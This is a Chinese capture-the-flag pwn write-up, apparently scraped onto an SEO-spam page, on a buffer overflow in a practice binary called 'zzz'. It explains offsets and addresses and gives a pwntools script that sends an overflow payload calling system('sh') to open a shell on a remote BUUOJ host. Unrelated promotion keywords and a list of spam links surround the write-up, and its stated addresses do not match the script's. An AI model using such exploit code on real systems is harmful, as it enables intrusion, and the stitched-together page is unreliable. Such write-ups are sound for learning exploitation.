当前位置: 首页 > wzjs >正文

深深圳市建设局网站推广渠道怎么写

深深圳市建设局网站,推广渠道怎么写,直播app开发平台软件,保障性租赁住房管理平台1. 背景分析 目标程序是一个存在漏洞的二进制文件,我们可以通过以下方式利用漏洞获取 shell: 程序中存在 system() 函数,但没有明显的 /bin/sh 字符串。 使用工具(如 ROPgadget)发现程序中有 sh 字符串,可…
1. 背景分析

目标程序是一个存在漏洞的二进制文件,我们可以通过以下方式利用漏洞获取 shell:

  1. 程序中存在 system() 函数,但没有明显的 /bin/sh 字符串。

  2. 使用工具(如 ROPgadget)发现程序中有 sh 字符串,可以利用它作为 system() 的参数。

  3. 程序的交互逻辑需要先输入密码,然后选择操作,最后通过溢出漏洞触发 ROP 链。

2. 具体步骤
步骤 1:确定偏移量

通过分析程序的漏洞点(例如通过格式化字符串漏洞或堆溢出漏洞),找到可以覆盖返回地址的偏移量。假设偏移量为 0x48 + 4

步骤 2:查找关键地址

使用工具(如 ROPgadgetIDA Pro)查找以下地址:

  • system() 函数的地址。

  • main() 函数的地址(用于防止程序崩溃)。

  • sh 字符串的地址。

示例命令:

bash复制

ROPgadget --binary ./zzz --search "system"
ROPgadget --binary ./zzz --search "sh"

假设:

  • system() 的地址为 0x08048430

  • main() 的地址为 0x08048500

  • sh 的地址为 0x08048123

步骤 3:交互流程

程序的交互逻辑如下:

  1. 程序提示输入管理员密码。

  2. 程序提供选项,需要选择 1 添加 log。

  3. 程序提示输入新的 log,此时发送构造的 ROP 链。

  4. 再次选择操作,选择 4 触发漏洞。

步骤 4:构造 ROP 链

根据上述地址和偏移量,构造 ROP 链:

  1. 填充到返回地址的偏移量。

  2. 覆盖返回地址为 system() 的地址。

  3. system() 返回后跳转到 main(),防止程序崩溃。

  4. sh 的地址作为 system() 的参数。

步骤 5:发送 ROP 链并触发漏洞

通过网络交互,发送构造的 ROP 链,并触发漏洞。

第一个条件s1 == 'administrator'

 ADDLog():我们看到这里是输入log,跟我们的flag有关系

                          a1是我们外面传进来的src = 48,读取128个就造成了溢出

 

from pwn import *context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF('./zzz')def main():if content == 1:p = process('zzz')else:p =remote('node5.buuoj.cn',25739)#0x080482ea : shsh_addr     = 0x080482easystem_addr = elf.sym['system']payload     = b'a' * (0x48+0x4) + p32(system_addr) + b'aaaa' + p32(sh_addr)p.sendlineafter("Please input admin password:",'administrator')p.sendlineafter("0.Exit\n:",'1')p.sendlineafter("Please input new log info:",payload)p.sendlineafter("0.Exit\n:",'4')p.interactive()
main()

http://www.dtcms.com/wzjs/530145.html

相关文章:

  • 网站版面如何布局亚洲卫星电视网参数表
  • 网站移动端适配怎么做营销策略的重要性
  • 百度搜索平台上海官网seo
  • 狮山网站制作小程序开发公司前十名
  • 流量宝做网站流量北京seo优化方案
  • 外贸网站如何做推广怎么样网页怎么做
  • 网站建设制作设计平台北京线上教学
  • 如何在网站上做评比郴州seo外包
  • 正规网站建设详细方案高级搜索技巧
  • 品牌手机网站建设seo友情链接
  • 暖通设计网站推荐网站推广软件下载安装免费
  • 思源黑体可以做网站网络销售的工作内容
  • 外贸网站建设报价关键词搜索
  • 杨浦网站建设成都搜索优化排名公司
  • 网站建设 的类型有哪些企业邮箱格式
  • 高校网站建设存在的问题搜索引擎优化的常用方法
  • 网站备案是在哪里查谷歌seo推广服务
  • 网站后台网址忘记了 php接推广一般多少钱
  • 网上做网站过程广州seo黑帽培训
  • 哪些网站开业做简单海报中国国家培训网
  • 烟台做网站建设电话直播营销策略有哪些
  • 河南网站推广优化报价东莞seo网络公司
  • WordPress 夜间模式主题黑帽seo排名技术
  • wordpress 调用全文国外网站谷歌seo推广
  • 购买b2c网站网络营销理论包括哪些
  • 崇州企业网站建设网页设计首页
  • 国外设计教程网站深圳seo优化排名优化
  • 广州建设大马路小学网站上海有哪些优化网站推广公司
  • 宁波易通建设网站营销策划公司 品牌策划公司
  • 什么网站广告最多惠州关键词排名提升